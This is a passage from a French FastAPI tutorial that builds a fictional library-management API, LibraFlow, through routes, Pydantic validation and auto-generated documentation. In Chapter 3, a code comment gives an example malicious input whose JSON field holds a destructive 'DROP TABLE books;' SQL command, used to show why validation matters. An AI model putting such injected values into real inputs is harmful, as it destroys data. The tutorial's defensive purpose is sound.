# [RAPIDE] LibraFlow — Formation Complète FastAPI
## Du Débutant Absolu à l'Expert en Production

---

## [OBJECTIF] Le Projet Fil Rouge : LibraFlow

**LibraFlow** est une plateforme SaaS de gestion de bibliothèques numériques multi-tenant.
Elle permet à des institutions (écoles, entreprises, médiathèques) de gérer leurs collections de livres, membres, prêts, et abonnements via une API REST moderne, sécurisée et scalable.

### Ce que tu vas construire progressivement :
- [DOCS] Gestion de livres, auteurs, catégories
- [UTILISATEURS] Gestion des membres et rôles (admin, bibliothécaire, lecteur)
- [SYNC] Système de prêts et retours avec notifications
- [SECURISE] Authentification JWT + refresh tokens + permissions
- [GRAPHIQUE] Statistiques et exports (PDF, CSV)
- [RESEAU] WebSockets pour notifications temps réel
- [CLOUD] Déploiement sur cloud avec CI/CD

---

## [DOCS] Plan de la Formation

| Fichier | Contenu | Niveau |
|---------|---------|--------|
| `01_PARTIE1_Fondamentaux.md` | Chapitres 1-4 : Introduction, Routes, Typage, Docs | [VERT] Débutant |
| `02_PARTIE2_Architecture.md` | Chapitres 5-9 : Structure, BDD, CRUD, Erreurs, Middleware | [JAUNE] Intermédiaire |
| `03_PARTIE3_Securite.md` | Chapitres 10-12 : Auth, JWT, Permissions, CORS | [JAUNE] Intermédiaire |
| `04_PARTIE4_Performance.md` | Chapitres 13-14 : Async, Caching, Redis | [ORANGE] Avancé |
| `05_PARTIE5_Communication.md` | Chapitres 15-18 : Uploads, WebSockets, Celery, Emails | [ORANGE] Avancé |
| `06_PARTIE6_Tests_CICD.md` | Chapitres 19-22 : Tests, Logs, Docker, CI/CD | [ROUGE] Expert |
| `07_PARTIE7_Expert.md` | Chapitres 23-26 : Microservices, DDD, Observabilité | [ROUGE] Expert |

---

## [BOITE_A_OUTILS] Prérequis Techniques

Avant de commencer, assure-toi d'avoir installé :

```bash
# Python 3.11+
python --version

# pip
pip --version

# Git
git --version
```

### Installation de l'environnement de base

```bash
# Crée un dossier pour le projet
mkdir libraflow && cd libraflow

# Crée un environnement virtuel Python
python -m venv venv

# Active l'environnement virtuel
# Sur Linux/Mac :
source venv/bin/activate
# Sur Windows :
venv\Scripts\activate

# Installe les dépendances de base
pip install fastapi uvicorn
```

---

## [DOSSIER] Structure Finale du Projet

```
libraflow/
├── app/
│   ├── main.py                    # Point d'entrée de l'app
│   ├── api/
│   │   ├── routes/
│   │   │   ├── books.py
│   │   │   ├── users.py
│   │   │   ├── loans.py
│   │   │   └── auth.py
│   │   └── dependencies.py        # Dépendances partagées
│   ├── core/
│   │   ├── config.py              # Variables d'environnement
│   │   └── security.py            # JWT, hashing
│   ├── db/
│   │   ├── base.py                # Connexion DB
│   │   └── session.py             # Session DB
│   ├── models/                    # Modèles SQLAlchemy (tables)
│   │   ├── book.py
│   │   ├── user.py
│   │   └── loan.py
│   ├── schemas/                   # Schémas Pydantic (validation)
│   │   ├── book.py
│   │   ├── user.py
│   │   └── loan.py
│   └── services/                  # Logique métier
│       ├── book_service.py
│       └── loan_service.py
├── tests/
│   ├── test_books.py
│   └── test_auth.py
├── .env
├── requirements.txt
├── Dockerfile
└── docker-compose.yml
```

---

## [IDEE] Convention de lecture

Chaque chapitre contient :
- **[OBJECTIF] Objectifs clairs** de ce qu'on va apprendre
- **[LOGIQUE] Concepts théoriques** expliqués en profondeur
- **[CODE] Code complet commenté** prêt à utiliser
- **[LIEN] Lien avec LibraFlow** pour contextualiser
- **[ATTENTION] Pièges fréquents** à éviter
- **[OK] Bonnes pratiques** professionnelles
- **[EFFORT] Exercices de complétion** pour valider les acquis

---

> **[IMPORTANT] Note pédagogique :** Ne saute pas les chapitres. Chaque chapitre pose les bases du suivant. Le code de LibraFlow s'enrichit progressivement — à la fin, tu auras une API complète et fonctionnelle.

# [LIVRE] PARTIE 1 — Fondamentaux de FastAPI
## Chapitres 1 à 4 : Les Bases Indispensables

---

# Chapitre 1 : Introduction à FastAPI

## [OBJECTIF] Objectifs
- Comprendre ce qu'est FastAPI et pourquoi l'utiliser
- Installer l'environnement de développement
- Créer et lancer ta première API fonctionnelle

---

## [LOGIQUE] Qu'est-ce que FastAPI ?

FastAPI est un **framework web Python moderne** conçu spécifiquement pour construire des APIs. Il a été créé par Sebastián Ramírez et publié en 2018. Malgré sa jeunesse, il est aujourd'hui utilisé par des entreprises comme Microsoft, Uber et Netflix.

### Pourquoi FastAPI plutôt qu'autre chose ?

Pour comprendre l'avantage de FastAPI, imaginons que tu veuilles construire un service web. Tu as plusieurs options :

**Flask** : Simple et léger, mais très bas niveau. Tu dois tout écrire toi-même : la validation des données, la documentation, la gestion des types. Flask ne sait pas ce que tu attends comme données — il te fait confiance aveuglément, ce qui mène à des bugs.

**Django** : Complet et puissant, mais c'est un "framework full-stack" conçu pour des sites web avec des pages HTML. Pour une API pure, c'est souvent trop lourd et sa documentation automatique n'est pas native.

**FastAPI** : Conçu dès le départ pour les APIs modernes. Il utilise les annotations de type Python (introduites dans Python 3.5+) pour **valider automatiquement** les données, **générer automatiquement** la documentation, et **optimiser les performances** grâce à l'asynchronisme natif.

### Les 4 Super-pouvoirs de FastAPI

**1. La vitesse** : FastAPI est construit sur Starlette (pour le web) et Pydantic (pour la validation). Il est l'un des frameworks Python les plus rapides, comparable à Node.js en termes de performances.

**2. Le typage Python** : FastAPI exploite le système de types de Python. Quand tu écris `def get_user(user_id: int)`, FastAPI sait que `user_id` doit être un entier. Si quelqu'un envoie `"abc"`, FastAPI rejette la requête automatiquement avec un message d'erreur clair.

**3. La documentation automatique** : Chaque endpoint que tu crées est immédiatement visible dans une interface web interactive (Swagger UI) accessible sur `/docs`. Tu n'as rien à écrire manuellement.

**4. L'asynchronisme natif** : Python moderne supporte `async/await`. FastAPI l'exploite pleinement pour gérer des milliers de requêtes simultanées sans bloquer le serveur.

### Comparatif concret

| Fonctionnalité | Flask | Django | FastAPI |
|---|---|---|---|
| Validation automatique | [X] | [ATTENTION] partielle | [OK] native |
| Documentation auto | [X] | [X] | [OK] Swagger + ReDoc |
| Async natif | [ATTENTION] difficile | [ATTENTION] difficile | [OK] natif |
| Performance | Moyenne | Moyenne | Très haute |
| Courbe d'apprentissage | Facile | Difficile | Facile |
| Idéal pour | Sites simples | Sites complets | APIs modernes |

---

## [CODE] Installation et Premier Projet

### Installation

```bash
# Dans ton environnement virtuel activé :
pip install fastapi uvicorn

# Vérifie l'installation :
python -c "import fastapi; print(fastapi.__version__)"
```

**Qu'est-ce que Uvicorn ?**
FastAPI ne peut pas tourner seul. Il a besoin d'un **serveur ASGI** (Asynchronous Server Gateway Interface) pour recevoir les requêtes HTTP. Uvicorn joue ce rôle : il écoute sur un port (par défaut 8000), reçoit les requêtes des navigateurs/clients, et les passe à FastAPI pour traitement.

### Ton premier fichier : `main.py`

```python
# main.py
# Importe la classe FastAPI depuis le module fastapi
from fastapi import FastAPI

# Crée une instance de l'application FastAPI
# C'est l'objet principal de ton application
app = FastAPI(
    title="LibraFlow API",        # Titre affiché dans la documentation
    description="API de gestion de bibliothèque numérique",
    version="0.1.0"
)

# Définit un endpoint (point d'accès)
# Le décorateur @app.get("/") signifie :
#   - Écoute les requêtes HTTP GET
#   - Sur l'URL "/"
@app.get("/")
def read_root():
    # FastAPI convertit automatiquement ce dictionnaire en JSON
    return {"message": "Bienvenue sur LibraFlow API", "status": "running"}

# Un autre endpoint plus spécifique
@app.get("/health")
def health_check():
    return {"status": "healthy", "version": "0.1.0"}
```

### Lancement du serveur

```bash
# Lance le serveur avec rechargement automatique
uvicorn main:app --reload

# Décryptage de cette commande :
# - "uvicorn" : le serveur qu'on utilise
# - "main" : le nom du fichier Python (main.py)
# - "app" : le nom de la variable FastAPI dans ce fichier
# - "--reload" : relance automatiquement si tu modifies le code
```

Tu verras dans ton terminal :
```
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
INFO:     Started reloader process [12345] using WatchFiles
INFO:     Started server process [12346]
INFO:     Waiting for application startup.
INFO:     Application startup complete.
```

Ouvre maintenant :
- `http://localhost:8000` -> Ta réponse JSON
- `http://localhost:8000/docs` -> Swagger UI (documentation interactive !)
- `http://localhost:8000/redoc` -> ReDoc (documentation alternative)

### [LIEN] Lien avec LibraFlow

Ce fichier `main.py` est le **point d'entrée** de LibraFlow. À la fin de la formation, ce fichier importera toutes les routes (livres, utilisateurs, prêts...) et configurera les middlewares de sécurité.

---

## [ATTENTION] Pièges Fréquents

**Piège 1 : Oublier d'activer l'environnement virtuel**
```bash
# [X] Mauvais : installe FastAPI globalement sur ton système
pip install fastapi

# [OK] Bon : active d'abord l'environnement virtuel
source venv/bin/activate
pip install fastapi
```

**Piège 2 : Confondre `app` dans la commande uvicorn**
Si ta variable s'appelle `api` au lieu de `app` :
```python
api = FastAPI()  # Variable nommée "api"
```
```bash
uvicorn main:api --reload  # Doit correspondre au nom de variable
```

**Piège 3 : Le `--reload` en production**
L'option `--reload` surveille les fichiers et relance le serveur à chaque modification. En développement c'est parfait, mais en production ça consomme des ressources inutilement et peut causer des instabilités.

---

## [OK] Bonnes Pratiques

1. **Toujours utiliser un environnement virtuel** : isole les dépendances de chaque projet
2. **Nommer clairement l'instance** : `app = FastAPI()` est la convention standard
3. **Renseigner `title`, `description`, `version`** dès le début : bonne habitude professionnelle
4. **`--reload` uniquement en développement** : jamais en production

---

## [EFFORT] Exercices de Complétion

### Exercice 1.1 — Premier Endpoint
Ajoute un endpoint `GET /about` qui retourne :
```json
{
  "project": "LibraFlow",
  "author": "Ton Nom",
  "description": "Plateforme de gestion de bibliothèque",
  "year": 2025
}
```

### Exercice 1.2 — Endpoint de Statistiques Bidon
Crée un endpoint `GET /stats` qui retourne des données fictives sur la bibliothèque :
```json
{
  "total_books": 0,
  "total_members": 0,
  "active_loans": 0,
  "message": "Données en cours de chargement..."
}
```

### Exercice 1.3 — Exploration
Lance ton serveur et :
1. Visite `/docs` — Essaie de tester ton endpoint directement depuis Swagger UI
2. Visite `/redoc` — Compare les deux documentations
3. Quelle est la différence entre Swagger UI et ReDoc selon toi ?

---
---

# Chapitre 2 : Routes et Méthodes HTTP

## [OBJECTIF] Objectifs
- Maîtriser les 5 méthodes HTTP principales
- Distinguer les paramètres de route, de requête et le corps
- Construire des endpoints cohérents pour LibraFlow

---

## [LOGIQUE] Les Méthodes HTTP : Le Langage des APIs

HTTP (le protocole du Web) définit des "verbes" pour indiquer quelle action on veut faire. Quand tu visites un site web, ton navigateur envoie des requêtes HTTP avec ces verbes.

| Méthode | Usage | Exemple LibraFlow |
|---------|-------|-------------------|
| `GET` | Lire des données | Récupérer la liste des livres |
| `POST` | Créer une ressource | Ajouter un nouveau livre |
| `PUT` | Remplacer entièrement | Mettre à jour toutes les infos d'un livre |
| `PATCH` | Modifier partiellement | Changer uniquement le titre |
| `DELETE` | Supprimer | Supprimer un livre |

### La Convention REST

REST (Representational State Transfer) est un ensemble de conventions pour organiser les URLs de manière logique et prévisible :

```
GET    /books          -> Liste tous les livres
GET    /books/42       -> Récupère le livre avec l'ID 42
POST   /books          -> Crée un nouveau livre
PUT    /books/42       -> Remplace complètement le livre 42
PATCH  /books/42       -> Modifie partiellement le livre 42
DELETE /books/42       -> Supprime le livre 42
```

Cette convention permet à n'importe quel développeur de deviner comment ton API fonctionne rien qu'en lisant les URLs.

---

## [CODE] Les Trois Types de Paramètres

### Type 1 : Paramètres de Route (Path Parameters)

Ce sont des valeurs directement dans l'URL, entre accolades `{}`.

```python
# main.py — Ajoutons des routes pour LibraFlow

@app.get("/books/{book_id}")
def get_book(book_id: int):
    # book_id est automatiquement converti en entier par FastAPI
    # Si quelqu'un appelle /books/abc, FastAPI retourne une erreur 422
    return {
        "book_id": book_id,
        "title": "Le Petit Prince",
        "author": "Antoine de Saint-Exupéry"
    }

# Exemple d'appel : GET /books/42
# Réponse : {"book_id": 42, "title": "Le Petit Prince", ...}
```

**Attention à l'ordre des routes !** FastAPI lit les routes dans l'ordre où tu les déclares. Une route "statique" doit être déclarée AVANT une route "dynamique" :

```python
# [OK] Correct : "search" est défini avant "{book_id}"
@app.get("/books/search")    # Route statique
def search_books():
    return {"results": []}

@app.get("/books/{book_id}") # Route dynamique
def get_book(book_id: int):
    return {"book_id": book_id}

# [X] Incorrect : FastAPI interpréterait "search" comme un book_id !
@app.get("/books/{book_id}") # Capture TOUT, même "search"
def get_book(book_id: int):  # Essaiera de convertir "search" en int -> Erreur
    return {"book_id": book_id}

@app.get("/books/search")    # Cette route ne sera JAMAIS atteinte
def search_books():
    return {"results": []}
```

### Type 2 : Paramètres de Requête (Query Parameters)

Ce sont des paramètres après le `?` dans l'URL.

```python
@app.get("/books")
def list_books(
    skip: int = 0,          # Valeur par défaut : 0
    limit: int = 10,        # Valeur par défaut : 10
    category: str = None    # Optionnel (None par défaut)
):
    # Exemple d'appel : GET /books?skip=20&limit=5&category=roman
    # FastAPI extrait automatiquement skip=20, limit=5, category="roman"
    
    return {
        "skip": skip,
        "limit": limit,
        "category": category,
        "message": f"Livres de {skip} à {skip + limit}"
    }
```

**Comment FastAPI distingue route param vs query param ?**
- Si le paramètre de la fonction est dans l'URL entre `{}` -> c'est un **path param**
- Si le paramètre est dans la fonction mais PAS dans l'URL -> FastAPI suppose que c'est un **query param**

### Type 3 : Corps de Requête (Request Body)

Pour les méthodes POST, PUT, PATCH, on envoie des données dans le "corps" de la requête (pas dans l'URL). En JSON, ça ressemble à :

```json
{
  "title": "Le Petit Prince",
  "author": "Antoine de Saint-Exupéry",
  "isbn": "978-0-15-601219-5"
}
```

Pour l'instant, utilisons le typage simple (on verra Pydantic au chapitre 3) :

```python
from fastapi import Body

@app.post("/books")
def create_book(
    title: str = Body(...),      # "..." signifie "obligatoire"
    author: str = Body(...),
    isbn: str = Body(None)       # Optionnel
):
    return {
        "message": "Livre créé avec succès",
        "book": {"title": title, "author": author, "isbn": isbn}
    }
```

### Combiner les trois types

```python
@app.put("/books/{book_id}")
def update_book(
    book_id: int,                    # Path parameter (depuis l'URL)
    notify: bool = False,            # Query parameter (depuis ?notify=true)
    title: str = Body(...),          # Body parameter (depuis le JSON)
    author: str = Body(...)          # Body parameter
):
    return {
        "updated_book_id": book_id,
        "new_title": title,
        "notification_sent": notify
    }
# Appel : PUT /books/42?notify=true
# Corps : {"title": "Nouveau titre", "author": "Auteur"}
```

---

## [CODE] Code Complet du Chapitre 2 pour LibraFlow

```python
# main.py — Version chapitre 2
from fastapi import FastAPI, Body, HTTPException

app = FastAPI(
    title="LibraFlow API",
    description="API de gestion de bibliothèque numérique",
    version="0.2.0"
)

# Base de données fictive en mémoire (on vera la vraie BDD plus tard)
fake_books_db = [
    {"id": 1, "title": "Le Petit Prince", "author": "Saint-Exupéry", "available": True},
    {"id": 2, "title": "1984", "author": "George Orwell", "available": True},
    {"id": 3, "title": "Dune", "author": "Frank Herbert", "available": False},
]

# GET — Lister tous les livres avec pagination
@app.get("/books", tags=["Livres"])
def list_books(
    skip: int = 0,
    limit: int = 10,
    available_only: bool = False   # Filtre optionnel
):
    books = fake_books_db
    if available_only:
        books = [b for b in books if b["available"]]
    return books[skip : skip + limit]

# GET — Récupérer un livre spécifique
@app.get("/books/{book_id}", tags=["Livres"])
def get_book(book_id: int):
    for book in fake_books_db:
        if book["id"] == book_id:
            return book
    # Si le livre n'existe pas, on retourne une erreur HTTP 404
    raise HTTPException(status_code=404, detail=f"Livre {book_id} non trouvé")

# POST — Créer un nouveau livre
@app.post("/books", tags=["Livres"], status_code=201)  # 201 = Created
def create_book(
    title: str = Body(..., min_length=1),
    author: str = Body(...),
    isbn: str = Body(None)
):
    new_book = {
        "id": len(fake_books_db) + 1,
        "title": title,
        "author": author,
        "isbn": isbn,
        "available": True
    }
    fake_books_db.append(new_book)
    return new_book

# DELETE — Supprimer un livre
@app.delete("/books/{book_id}", tags=["Livres"])
def delete_book(book_id: int):
    for i, book in enumerate(fake_books_db):
        if book["id"] == book_id:
            deleted = fake_books_db.pop(i)
            return {"message": "Livre supprimé", "book": deleted}
    raise HTTPException(status_code=404, detail=f"Livre {book_id} non trouvé")
```

---

## [ATTENTION] Pièges Fréquents

**Piège 1 : Utiliser GET pour créer des données**  
GET doit être "idempotent" (appeler 100 fois = même résultat). Ne jamais créer, modifier ou supprimer dans un GET.

**Piège 2 : Oublier les codes HTTP appropriés**  
- `200` : OK (par défaut pour GET)
- `201` : Created (pour POST)
- `204` : No Content (pour DELETE)
- `400` : Bad Request (données invalides)
- `404` : Not Found
- `500` : Server Error (erreur interne)

---

## [OK] Bonnes Pratiques

1. **Utilise des noms au pluriel pour les ressources** : `/books`, `/users`, `/loans`
2. **Respecte les codes HTTP** : 201 pour création, 204 pour suppression sans corps
3. **Les URLs doivent être des noms, pas des verbes** : `/books` et non `/getBooks`
4. **Groupe les routes avec `tags`** : ça organise la documentation automatiquement

---

## [EFFORT] Exercices de Complétion

### Exercice 2.1 — Routes Auteurs
Crée les routes suivantes pour les auteurs de LibraFlow :
```
GET  /authors              -> Liste tous les auteurs
GET  /authors/{author_id}  -> Récupère un auteur
POST /authors              -> Crée un auteur avec "name" et "nationality"
```

### Exercice 2.2 — Recherche Avancée
Améliore `GET /books` pour accepter un paramètre `search` (chaîne de texte) qui filtre les livres par titre ou auteur :
```
GET /books?search=prince  -> Retourne les livres dont le titre/auteur contient "prince"
```

### Exercice 2.3 — Route Imbriquée
Crée une route `GET /authors/{author_id}/books` qui retourne tous les livres d'un auteur spécifique.

---
---

# Chapitre 3 : Typage et Validation Automatique avec Pydantic

## [OBJECTIF] Objectifs
- Comprendre pourquoi Pydantic est indispensable
- Créer des modèles de données robustes
- Gérer la validation automatique des entrées

---

## [LOGIQUE] Le Problème que Pydantic Résout

Sans validation, voici ce qui peut arriver avec une API :

```python
# Sans Pydantic — DANGEREUX
@app.post("/books")
def create_book(data: dict):  # On accepte n'importe quoi !
    # Un utilisateur malveillant pourrait envoyer :
    # {"title": "", "price": "gratuit", "sql_injection": "DROP TABLE books;"}
    save_to_db(data)  # Catastrophe potentielle
```

Pydantic est une bibliothèque de **validation de données**. Tu définis la forme que doivent avoir tes données, et Pydantic vérifie que tout est conforme avant que ton code s'exécute.

### Comment ça marche ?

```python
from pydantic import BaseModel

class BookCreate(BaseModel):
    title: str          # Obligatoire, doit être du texte
    author: str         # Obligatoire, doit être du texte
    year: int           # Obligatoire, doit être un entier
    isbn: str = None    # Optionnel (valeur par défaut None)
```

Quand FastAPI reçoit une requête POST avec ce modèle :
1. Il lit le JSON du corps de la requête
2. Il essaie de construire un objet `BookCreate` avec ces données
3. Si une donnée manque ou a le mauvais type -> FastAPI retourne automatiquement une erreur `422 Unprocessable Entity` avec un message explicatif
4. Si tout est valide -> ton endpoint reçoit un objet `BookCreate` propre et sûr

---

## [CODE] Modèles Pydantic pour LibraFlow

```python
# schemas/book.py
from pydantic import BaseModel, Field, validator
from typing import Optional
from datetime import datetime

# Schéma pour la CRÉATION d'un livre (ce que le client envoie)
class BookCreate(BaseModel):
    title: str = Field(
        ...,                          # "..." = champ obligatoire
        min_length=1,                 # Minimum 1 caractère
        max_length=200,               # Maximum 200 caractères
        description="Titre du livre"  # Description pour la doc API
    )
    author: str = Field(..., min_length=2, max_length=100)
    isbn: Optional[str] = Field(
        None,          # Optionnel
        regex=r"^978-\d{10}$",  # Format ISBN-13
        description="ISBN au format 978-XXXXXXXXXX"
    )
    year: Optional[int] = Field(None, ge=1450, le=2025)
    # ge = "greater or equal" (>=)
    # le = "less or equal" (<=)
    price: Optional[float] = Field(None, gt=0)
    # gt = "greater than" (>)

    # Validateur personnalisé
    @validator("title")
    def title_must_not_be_empty_string(cls, v):
        if v.strip() == "":
            raise ValueError("Le titre ne peut pas être vide ou contenir uniquement des espaces")
        return v.strip()  # Supprime les espaces au début et à la fin


# Schéma pour la MISE À JOUR (champs optionnels)
class BookUpdate(BaseModel):
    title: Optional[str] = Field(None, min_length=1, max_length=200)
    author: Optional[str] = Field(None, min_length=2, max_length=100)
    available: Optional[bool] = None


# Schéma pour la LECTURE (ce que l'API retourne)
class BookResponse(BaseModel):
    id: int
    title: str
    author: str
    isbn: Optional[str]
    year: Optional[int]
    available: bool
    created_at: datetime

    class Config:
        # Permet à Pydantic de lire les attributs d'un objet SQLAlchemy
        from_attributes = True  # (anciennement "orm_mode = True" dans Pydantic v1)
```

### Utilisation dans les routes

```python
# main.py — Version Pydantic
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from typing import Optional, List
from datetime import datetime

app = FastAPI(title="LibraFlow API", version="0.3.0")

# Modèles (qu'on mettra dans des fichiers séparés plus tard)
class BookCreate(BaseModel):
    title: str
    author: str
    isbn: Optional[str] = None
    year: Optional[int] = None

class BookResponse(BaseModel):
    id: int
    title: str
    author: str
    isbn: Optional[str]
    year: Optional[int]
    available: bool = True

# Base de données fictive
fake_db: List[dict] = []
next_id = 1

@app.post("/books", response_model=BookResponse, status_code=201, tags=["Livres"])
def create_book(book: BookCreate):
    # "book" est automatiquement validé par Pydantic
    # Si les données sont invalides, FastAPI retourne 422 avant même d'arriver ici
    global next_id
    
    new_book = {
        "id": next_id,
        "title": book.title,
        "author": book.author,
        "isbn": book.isbn,
        "year": book.year,
        "available": True
    }
    fake_db.append(new_book)
    next_id += 1
    
    # FastAPI valide aussi la RÉPONSE via BookResponse !
    # Seuls les champs définis dans BookResponse seront retournés
    return new_book

@app.get("/books", response_model=List[BookResponse], tags=["Livres"])
def list_books():
    return fake_db
```

### Le Paramètre `response_model` : Ton Bouclier

Le paramètre `response_model` est **crucial** car il filtre les données de sortie. Si ton livre en base de données a un champ `internal_notes` confidentiel et que ton `BookResponse` ne le définit pas, FastAPI ne l'inclura **jamais** dans la réponse.

```python
# Objet en base de données (avec des champs sensibles)
user_in_db = {
    "id": 1,
    "email": "alice@example.com",
    "password_hash": "$2b$12$...",  # Champ sensible !
    "role": "admin"
}

class UserResponse(BaseModel):
    id: int
    email: str
    role: str
    # "password_hash" n'est pas là -> il ne sera JAMAIS renvoyé

@app.get("/users/{user_id}", response_model=UserResponse)
def get_user(user_id: int):
    return user_in_db  # Le hash ne sera pas inclus, grâce à response_model [OK]
```

---

## [ATTENTION] Pièges Fréquents

**Piège 1 : Confondre les schémas de création, mise à jour et lecture**
Toujours avoir 3 schémas séparés :
- `BookCreate` : pour POST (champs obligatoires)
- `BookUpdate` : pour PATCH (tous les champs optionnels avec `Optional`)
- `BookResponse` : pour les réponses (inclut `id`, `created_at`, etc.)

**Piège 2 : Oublier `Optional` pour les champs facultatifs**
```python
# [X] Mauvais
class BookCreate(BaseModel):
    isbn: str = None  # Pydantic v2 peut se plaindre

# [OK] Bon
from typing import Optional
class BookCreate(BaseModel):
    isbn: Optional[str] = None
```

---

## [OK] Bonnes Pratiques

1. **Toujours définir `response_model`** sur chaque endpoint
2. **Séparer les schémas Create/Update/Response** dans un fichier `schemas/`
3. **Utiliser `Field(...)` avec des descriptions** pour une meilleure documentation
4. **Valider les formats spéciaux** (email, URL, ISBN) avec des regex ou des types Pydantic (`EmailStr`, `HttpUrl`)

---

## [EFFORT] Exercices de Complétion

### Exercice 3.1 — Schéma Utilisateur
Crée les schémas Pydantic pour les membres de LibraFlow :
- `MemberCreate` avec : `first_name`, `last_name`, `email`, `phone` (optionnel)
- `MemberResponse` avec : `id`, `full_name` (calculé), `email`, `membership_date`

### Exercice 3.2 — Validation Avancée
Ajoute un validateur `@validator` sur `BookCreate` qui vérifie que `year` ne peut pas être dans le futur.

### Exercice 3.3 — Modèles Imbriqués
Crée un schéma `BookWithAuthorResponse` qui inclut un objet `AuthorResponse` imbriqué au lieu d'un simple string pour l'auteur.

---
---

# Chapitre 4 : Documentation Automatique

## [OBJECTIF] Objectifs
- Exploiter pleinement Swagger UI et ReDoc
- Personnaliser la documentation de LibraFlow
- Rendre l'API auto-documentée et professionnelle

---

## [LOGIQUE] Pourquoi la Documentation est Stratégique

Une API sans documentation, c'est comme un magasin sans panneau. Personne ne sait quoi acheter ni comment. FastAPI génère automatiquement une documentation interactive à partir de ton code — mais tu dois l'alimenter correctement.

### Swagger UI vs ReDoc

**Swagger UI** (`/docs`) est **interactif** : tu peux tester les endpoints directement depuis le navigateur, entrer des valeurs, envoyer des requêtes et voir les réponses. Idéal pour les développeurs qui testent l'API.

**ReDoc** (`/redoc`) est **plus lisible** : une documentation statique élégante, idéale pour partager avec des clients ou des équipes non-techniques.

Les deux se génèrent automatiquement à partir du même code !

---

## [CODE] Enrichir la Documentation de LibraFlow

```python
# main.py — Version documentation complète
from fastapi import FastAPI, HTTPException, Query, Path
from pydantic import BaseModel, Field
from typing import Optional, List

# Description enrichie avec Markdown
description = """
## LibraFlow API [DOCS]

**LibraFlow** est une plateforme de gestion de bibliothèque numérique.

### Fonctionnalités principales

* **Gestion des livres** : Catalogue complet avec recherche avancée
* **Gestion des membres** : Inscriptions et profils
* **Système de prêts** : Emprunts, retours, historique
* **Statistiques** : Rapports et analyses

### Authentification

Tous les endpoints (sauf `/health`) nécessitent un token JWT.
Obtenez votre token via `POST /auth/login`.
"""

# Tags avec descriptions (apparaissent dans la documentation)
tags_metadata = [
    {
        "name": "Livres",
        "description": "Gestion du catalogue de livres. Opérations CRUD complètes.",
    },
    {
        "name": "Membres",
        "description": "Gestion des membres de la bibliothèque.",
    },
    {
        "name": "Prêts",
        "description": "Système d'emprunt et de retour.",
    },
    {
        "name": "Authentification",
        "description": "Endpoints de connexion et gestion de session.",
    },
    {
        "name": "Système",
        "description": "Endpoints de monitoring et santé du système.",
    },
]

app = FastAPI(
    title="LibraFlow API",
    description=description,
    version="1.0.0",
    openapi_tags=tags_metadata,
    contact={
        "name": "Équipe LibraFlow",
        "email": "api@libraflow.com",
        "url": "https://libraflow.com/support"
    },
    license_info={
        "name": "MIT",
        "url": "https://opensource.org/licenses/MIT"
    },
    docs_url="/docs",      # URL de Swagger UI (par défaut /docs)
    redoc_url="/redoc",    # URL de ReDoc (par défaut /redoc)
)


class BookCreate(BaseModel):
    title: str = Field(
        ...,
        min_length=1,
        max_length=200,
        description="Titre complet du livre",
        example="Le Petit Prince"    # Exemple affiché dans la doc
    )
    author: str = Field(
        ...,
        description="Nom complet de l'auteur",
        example="Antoine de Saint-Exupéry"
    )
    isbn: Optional[str] = Field(
        None,
        description="Code ISBN-13 du livre",
        example="978-2-07-040850-4"
    )

    class Config:
        # Exemple complet affiché dans la documentation
        schema_extra = {
            "example": {
                "title": "Le Petit Prince",
                "author": "Antoine de Saint-Exupéry",
                "isbn": "978-2-07-040850-4"
            }
        }


@app.get(
    "/books",
    tags=["Livres"],
    summary="Lister les livres",    # Titre court dans la doc
    description="""
    Retourne la liste paginée de tous les livres du catalogue.
    
    Utilise les paramètres `skip` et `limit` pour la pagination.
    Utilise `available_only=true` pour ne voir que les livres disponibles.
    """,
    response_description="Liste des livres correspondant aux critères"
)
def list_books(
    skip: int = Query(0, ge=0, description="Nombre d'éléments à ignorer"),
    limit: int = Query(10, ge=1, le=100, description="Nombre maximum d'éléments"),
    available_only: bool = Query(False, description="Ne retourner que les livres disponibles")
):
    return {"skip": skip, "limit": limit, "books": []}


@app.get(
    "/books/{book_id}",
    tags=["Livres"],
    summary="Récupérer un livre",
    responses={
        200: {"description": "Livre trouvé"},
        404: {"description": "Livre non trouvé",
              "content": {"application/json": {"example": {"detail": "Livre 42 non trouvé"}}}}
    }
)
def get_book(
    book_id: int = Path(..., ge=1, description="ID unique du livre", example=1)
):
    # Path() permet d'ajouter des métadonnées sur les path parameters
    raise HTTPException(status_code=404, detail=f"Livre {book_id} non trouvé")


@app.post(
    "/books",
    tags=["Livres"],
    summary="Créer un livre",
    status_code=201,
    response_description="Le livre créé avec son ID assigné"
)
def create_book(book: BookCreate):
    return {"id": 1, **book.dict()}


@app.get("/health", tags=["Système"], summary="Vérification de santé")
def health_check():
    """
    Endpoint de vérification de santé du système.
    
    Retourne le statut opérationnel de l'API et de ses dépendances.
    Utilisé par les systèmes de monitoring et load balancers.
    """
    return {
        "status": "healthy",
        "database": "connected",
        "version": "1.0.0"
    }
```

### Désactiver la Documentation en Production

Pour des raisons de sécurité, tu pourrais vouloir désactiver la doc en production :

```python
import os

app = FastAPI(
    title="LibraFlow API",
    # En production (variable d'env ENVIRONMENT=production) : pas de docs
    docs_url="/docs" if os.getenv("ENVIRONMENT") != "production" else None,
    redoc_url="/redoc" if os.getenv("ENVIRONMENT") != "production" else None,
)
```

---

## [ATTENTION] Pièges Fréquents

**Piège : Descriptions trop vagues**
```python
# [X] Inutile
@app.get("/books", summary="Books")  

# [OK] Informatif
@app.get("/books", summary="Lister les livres du catalogue", 
         description="Retourne une liste paginée des livres avec filtres optionnels")
```

---

## [OK] Bonnes Pratiques

1. **Documenter TOUS les endpoints** sans exception — c'est ce que voit le monde extérieur
2. **Ajouter des exemples** dans les schémas Pydantic (`schema_extra`)
3. **Documenter les réponses d'erreur** avec le paramètre `responses`
4. **Utiliser les tags** pour organiser les endpoints par domaine fonctionnel
5. **Écrire les descriptions en Markdown** pour un rendu professionnel

---

## [EFFORT] Exercices de Complétion

### Exercice 4.1 — Documentation Complète
Reprends tous les endpoints créés dans les chapitres précédents et ajoute :
- Un `summary` pour chaque endpoint
- Une `description` pour les endpoints complexes
- Les codes d'erreur possibles dans `responses`

### Exercice 4.2 — Tags Personnalisés
Crée des `tags_metadata` pour LibraFlow avec au moins 4 groupes et leurs descriptions.

### Exercice 4.3 — Exemples Complets
Ajoute `schema_extra` à tous tes modèles Pydantic avec des exemples réalistes de données de bibliothèque.

---

## [BRAVO] Récapitulatif de la Partie 1

Tu maîtrises maintenant les fondamentaux de FastAPI :

| Compétence | Niveau |
|---|---|
| Installer et lancer une app FastAPI | [OK] |
